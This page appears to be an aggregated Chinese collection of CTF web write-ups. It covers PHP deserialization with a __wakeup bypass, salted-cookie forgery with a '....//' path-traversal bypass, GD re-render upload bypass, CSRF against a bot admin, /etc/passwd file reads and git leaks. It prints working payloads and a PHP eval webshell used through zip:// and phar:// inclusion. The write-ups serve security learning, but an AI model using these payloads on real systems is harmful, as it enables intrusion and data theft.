针对2019极客大挑战PHP反序列化和php极客学院教程下载这两个问题,本篇文章进行了详细的解答,同时本文还将给你拓展2019DDCTFWEB笔记(PHP反序列化&&GD库渲染文件上传绕过)、2020
针对2019极客大挑战PHP反序列化和php极客学院教程下载这两个问题,本篇文章进行了详细的解答,同时本文还将给你拓展2019DDCTF WEB 笔记(PHP反序列化&&GD库渲染文件上传绕过)、2020极客大挑战Web题、BUU [极客大挑战 2019]PHP、buu-[极客大挑战 2019]Secret File等相关知识,希望可以帮助到你。
本文目录一览:- 2019极客大挑战PHP反序列化(php极客学院教程下载)
- 2019DDCTF WEB 笔记(PHP反序列化&&GD库渲染文件上传绕过)
- 2020极客大挑战Web题
- BUU [极客大挑战 2019]PHP
- buu-[极客大挑战 2019]Secret File
2019极客大挑战PHP反序列化(php极客学院教程下载)
1. 进入题目看到一只猫和提示备份的习惯。猜测可能有源码泄露,通过目录扫描工具可以获取到备份文件:www.zip包含其源码。
2. 对其源码进行审计
a. index.PHP 包含文件index.PHP;通过get方式获取一个参数select,并对参数select进行反序列化
b. class.PHP 包含flag.PHP。主体部分为一个Name类,
i. 有两个私有变量username,password
ii. 构造方法__construct($usernam,$password)
iii. 魔幻函数__wakeup(),在进行反序列化时调用,给变量username赋值为guest
iv. 销毁函数__destruct(),结束对象是执行
1) 第一个if判断是password是否为100。如果不为100就结束方法。
2) 第二个if判断username是否为'admin',且为字符串。如果满足条件就输出flag
3. 解题思路:由index.PHP中的反序列化可以想到的是通过反序列化触发Name类中的魔幻函数,绕过wakeup()函数,最后执行destruct时,username='admin',password=100满足if条件输出flag
4. payload
<?PHP class Name{ private $username = 'nonono'; private $password = 'yesyes'; //username==='admin' password = 100 }
//通过构造方法username='admin' password = 100 $a = new Name('admin',100); //序列化操作,并对字符串进行URL编码,因为Name类的变量为私有变量,避免打印时漏掉空格 $b = urlencode(serialize($a)); //修改属性的的个数,绕过__wakeup()函数 $b = str_replace('%3A2%3A','%3A3%3A',$b); echo $b ; ?>
flag
2019DDCTF WEB 笔记(PHP反序列化&&GD库渲染文件上传绕过)
滴~
先上大佬的WP(https://impakho.com/post/ddctf-2019-writeup) ~~~膜
第一题设计的是base64和文件包含,源码泄露和变量覆盖并且脑洞的一题目
引用这位大佬的WP里的图片(https://www.cnblogs.com/sijidou/p/10725355.html)
题目的url看上去就像是文件包含,确实。
先是base64第二解码,然后是16进制再转字符串,是flag.jpg,呢么可以用php://filter读取下源码
源码里有博客链接,进去后找到个.practice.txt.swp这样的文章中的实例提示。呢么就尝试这进入,然后绕过正则对!的限制
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header(''content-type:text/html;charset=utf-8'');
if(! isset($_GET[''jpg'']))
header(''Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'');
$file = hex2bin(base64_decode(base64_decode($_GET[''jpg''])));
echo ''<title>''.$_GET[''jpg''].''</title>'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.''</br>'';
$file = str_replace("config","!", $file);
echo $file.''</br>'';
$txt = base64_encode(file_get_contents($file));
echo "<img src=''data:image/gif;base64,".$txt."''></img>";
/*
* Can you find the flag file?
*
*/
?>
因为他把config替换成了!,呢么就直接利用文件包含读呗
<?php
include(''config.php'');
$k = ''hello'';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo''hello'';
}
}
?>
简单的变量覆盖,$k可以用php://input为空,$uid=为空就完事了
WEB 签到题
emmmmm,这题看了WP挺久,因为我想把源码都看懂,最后看懂了,发现。。emmm,简单,代码审计还是要多看理解下,多长点知识,补充自己不知道的点.
一开始的需要凭自己敏锐的嗅觉去发现,或者burp抓包可以看到,header头中,ddctf_username为空,试着admin,然后就给了两个文件路径
先直接上源码,因为没做,所以直接看的大佬WP,学习的
/app/Application.php
:
Class Application {
var $path = '''';
public function response($data, $errMsg = ''success'') {
$ret = [''errMsg'' => $errMsg,
''data'' => $data];
$ret = json_encode($ret);
header(''Content-type: application/json'');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = ''admin'';
if(!empty($_SERVER[''HTTP_DIDICTF_USERNAME'']) && $_SERVER[''HTTP_DIDICTF_USERNAME''] == $DIDICTF_ADMIN) {
$this->response(''您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'');
return TRUE;
}else{
$this->response(''抱歉,您没有登陆权限,请获取权限后访问-----'',''error'');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace(''../'','''',$path);
$path=str_replace(''..\\'','''',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),''Congratulations'');
}
exit();
}
}
/app/Session.php
:
include ''Application.php'';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '''';
var $cookie_expiration = 7200;
var $cookie_name = ''ddctf_id'';
var $cookie_path = '''';
var $cookie_domain = '''';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = ''DiDI Welcome you %s'';
$data = sprintf($data,$_SERVER[''HTTP_USER_AGENT'']);
parent::response($data,''sucess'');
}else{
$this->session_create();
$data = ''DiDI Welcome you'';
parent::response($data,''sucess'');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents(''../config/key.txt'');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",''error'');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",''error'');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session[''session_id'']) OR !isset($session[''ip_address'']) OR !isset($session[''user_agent''])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session[''ip_address''] != $_SERVER[''REMOTE_ADDR'']) {
parent::response(''the ip addree not match''.''error'');
return FALSE;
}
if($session[''user_agent''] != $_SERVER[''HTTP_USER_AGENT'']) {
parent::response(''the user agent not match'',''error'');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '''';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
''session_id'' => md5(uniqid($sessionid,TRUE)),
''ip_address'' => $_SERVER[''REMOTE_ADDR''],
''user_agent'' => $_SERVER[''HTTP_USER_AGENT''],
''user_data'' => '''',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
这其实也是PHP序列化的题目,但是设计到了MD5的加盐和PHP代码审计
我的PHP代码审计之路:先是获得cookie,cookie是先把
$userdata = array(
''session_id'' => md5(uniqid($sessionid,TRUE)),
''ip_address'' => $_SERVER[''REMOTE_ADDR''],
''user_agent'' => $_SERVER[''HTTP_USER_AGENT''],
''user_data'' => '''',
);
这一串序列化,然后md5加盐(即把''slat+序列化后的cookie''md5加密)然后加到序列化后的值后面,像这样的一串
a:4:{s:10:"session_id";s:32:"3853b51fc9cd327af530a6c09e11259d";s:10:"ip_address";s:14:"223.104.64.208";s:10:"user_agent";s:11:"curl/7.61.0";s:9:"user_data";s:0:"";}97ce8958578b78e4d91ca007527dfa53
呢么我们肯定要知道eancrykey的值,才能伪造cookie,然后反序列化,因为是18个字符,猜测flag地址为../config/flag.txt,但是会把../和..\\置空,呢么可以用....//config/flag.txt来绕过.
首先是获取eancrykey的值
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
前面的if可以不用管,第一次获得的cookie不用改就好,然后POST nickname=%s 就可以输出eancrykey 这里看一下foreach,这是个遍历数组(https://www.cnblogs.com/limeng951/p/5623607.html),并且as $k=>$v,是下标和值的对应方式,然后sprintf是格式化函数,第一次sprintf(''welcome my friend %s'',%s),然后$data没变,还是有%s,$data=''welcome my friend %s'',那么第二次遍历的就是$data=sprint(''welcome my friend %s'',eancrykey),然后$data=welcome my friend $eancrykey,知道了eancrykey后,就可以伪造cookie,impakho师傅直接用Application类序列化,看了另一个人的WP,是用session类来先伪造session,然后再序列化.这样就麻烦了,感觉简单的还是用Application类直接构造,
序列化的代码
<?php
Class Application {
var $path = ''....//config/flag.txt'';
public function response($data, $errMsg = ''success'') {
$ret = [''errMsg'' => $errMsg,
''data'' => $data];
$ret = json_encode($ret);
header(''Content-type: application/json'');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = ''admin'';
if(!empty($_SERVER[''HTTP_DIDICTF_USERNAME'']) && $_SERVER[''HTTP_DIDICTF_USERNAME''] == $DIDICTF_ADMIN) {
$this->response(''您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'');
return TRUE;
}else{
$this->response(''抱歉,您没有登陆权限,请获取权限后访问-----'',''error'');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace(''../'','''',$path);
$path=str_replace(''..\\'','''',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),''Congratulations'');
}
exit();
}
}
$a=new Application();
echo serialize($a);
?>
序列化出来的字符串:O:11:"Application":1:{s:4:"path";s:21:"....//config/flag.txt";},再用得到的eancrykey ,md5加盐后,加再字符串后,并且urlencode一下,存到cookie中请求
ddctf_id=O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22....%2F%2Fconfig%2Fflag.txt%22%3B%7D77cd55a8d29df4f005f85e536d876525
然后就可以得到flag
Upload-IMG
这题长见识了,我自己也搭了个上传靶场upload-labs-master,并且自己实验了一下,二次渲染后,结合php本地包含,成功执行
配置了一下php环境,然后上传到
先随便将一张jgp图片上传,然后下载服务器端上的图片,发现经过了渲染,gd库处理
然后利用大佬提到链接里的脚本(https://xz.aliyun.com/t/2657#toc-13),处理一下
然后再上传上去
经过脚本处理后的图片,用winhex打开,发现已经加入phpinfo字串
然后结合文件包含漏洞ok
具体原理可以查看文章,记得这个知识点
并且我自己玩了下包含的zip://和phar://伪协议
<?php
@eval($_POST[sky]);
然后命名为sky.php,再压缩重命名为sky.jpg,上传后,利用http://127.0.0.1/upload-labs-master/include.php?file=zip://upload/sky.jpg#sky.php
菜刀链接发现连接不上
然后改用http://127.0.0.1/upload-labs-master/include.php?file=phar://upload/sky.jpg/sky.php,就能菜刀链接了
zip:// 格式是 zip://xxx.png%23shell.php
phar://格式是phar://xxx.png/shell.php
写了半天,发现题目还是能进?我要去玩玩.前面的题目都复现成功。
2020极客大挑战Web题
前言
wp是以前写的,整理一下发上来。
不是很全。
2020 极客大挑战 WEB
1、sha1碰撞
题目
图片:
思路
- 题目说,换一种请求方式。于是换成post。得到一给含有代码的图片
图片:
-
分析该图片,得知只有传承的roam1和roam2的值不相等,而且SHA1加密后的值相同才会出现flag
PHP对数组进行sha1加密都为false。所以我们传入两个数组进去
-
构造payload
roam1[]=1&roam2[]=2 //这是post传数组的特定形式。
-
成功打开PHPinfo()
图片:
- 查找flag,发现没有。但是发现个目录
图片:
- 访问该目录,发现页面不存在
图片:
- 换个思路,去抓个包。发现flag
图片:
2、csrf提交
题目
图片:
网站
图片:
解题思路
-
第一步肯定是要注册啦。没有账号玩个锤子
注册用户xxxxxx
-
进行一番研究后,发现最底下有个flag出售,但是卖得好贵。而我只有11元
-
看了下主页排行榜和报告发现里面有信息
图片1:
发现只有Longlone这个人的账户最有钱。是无限的
图片2:
发现了他会定期查看报告。
思考是什么漏洞
-
现在有xss漏洞。我们可以获得访问我们报告的那个人的cookie。进而去买flag
-
有修改金额漏洞,去个10元钱的东西,抓包改成买flag的(这个以前很流行)
-
有批量注册账号,然后都往一个账号转账的,因为每一个账号都有11元。但是这工作量巨大。
-
csrf,让管理员去请求转账的页面。完成对我们的转账
思路
验证码用md5批量加密,找到符合的就行
细节:报告文本框里可以填入链接,后台管理员会自己点。不需要放xss脚本
1. 用xss拿到了管理员的cookie。但是管理员的cookie名称为token,我们的为PHPSESSID。所以没用
2. 计划构造一个csrf的POC,生成一个页面,部署到公网服务器上。把该服务器网络url粘贴到报告框,拿去给机器人访问
开始渗透
1. 计算验证码的
图片:
2. 去转帐页面,填入给我们转账的信息,以及金额,最后用burp抓表单包,再右键生成csrf网页
图片1:
图片2:
图片3:
3. 但是burp的POC不具备自动提交表单的js代码。我们自己写一段自动提交表单js插入进去
图片4:
4. 这时候把代码部署到远程服务器上,我的是用ngrok的内网穿透服务器
5. 报告内容填上我们kali的ngrok内网穿透地址 http://lowkey.free.idcfengye.com/test.html
6. 计算出验证码提交
图片5:
7. 等待一会后,转账到了。马上就去买flag。
图片6:
图片7:
小tips
最好先自己本地复现一下构造的POC是否有用。抓包看下提交表单出去没有即可。
3、备份文件下载
有些人喜欢备份网页PHP
一般备份网页PHP的目录:
图片:
这题wp我没写完,应该是找到那个文件,里面就有flag。
4、刘壮的黑页
get请求和post请求一起发
图片:
5、githcak
介绍
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
危害
Git信息泄露的危害很大,渗透测试人员、攻击者,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘文件上传、sql注射等安全漏洞。FreeBuf之前也有相关报道
githack工作原理
1、解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
2、去.git/objects/ 文件夹下下载对应的文件
3、zlib解压文件,按原始的目录结构写入源代码
scrabble工具
首先
git clone https://github.com/denny0223/scrabble
-
进入scrabble文件
-
执行命令,下载git源码
./scrabble http://47.100.46.169:3902/
-
查看
ls -a 查看当前目录所有内容
cat fl4g 查看flag文件
git log 查看git修改日志
图片:
可以看到有两个版本,因为这个版本没什么信息,接下来要切换版本。
-
切换git版本,并查看flag
git reset --hard
图片:
6、我是大黑客
题目
图片:
- 打开http://39.106.144.160:100/liuzhuang.PHP.bak
下载
- 看源码,知道了后门密码
图片:
- 菜刀连接
图片:
7、linux敏感目录
题目
图片:
思路
-
根据页面提示,flag在主目录中。而且下面一段代码被注释掉了,应该没有太大价值。
-
看看url,发现变量名是PHPfile,应该是指文件,这应该有PHP伪协议。但我们先试一下任意目录读取
过程
-
访问/etc/passwd文件
payload: http://47.94.239.194:8082/displaySourceCode.php?phpfile=/etc/passwd
得到了一堆数据,说明可能存在任意目录读取
-
访问/proc/mount 文件,该文件记录了系统挂载设备的一些信息。会有大量数据泄露
图片:
- 访问该目录下的flag文件,得到flag
图片:
BUU [极客大挑战 2019]PHP
没空,看了wp学着做,懒得慢慢来了
https://www.jianshu.com/p/bfe00fd583df
https://blog.csdn.net/weixin_44077544/article/details/103542260
综合以上两位大佬的博客,外加一点思考,就出来了
buu-[极客大挑战 2019]Secret File
打开题目
根据提示页面应该是隐藏了一些信息的
查看一下源代码
发现了
进去看看
中间是一个连接,通过查看源代码可以得知是./action.php
点进去看看
发现跳转到了end.PHP
根据提示猜测应该是action.php的访问时间短,过了访问时间后会直接跳转到end.PHP
使用bp抓包试试
我们今天的关于2019极客大挑战PHP反序列化和php极客学院教程下载的分享就到这里,谢谢您的阅读,如果想了解更多关于2019DDCTF WEB 笔记(PHP反序列化&&GD库渲染文件上传绕过)、2020极客大挑战Web题、BUU [极客大挑战 2019]PHP、buu-[极客大挑战 2019]Secret File的相关信息,可以在本站进行搜索。
本文标签: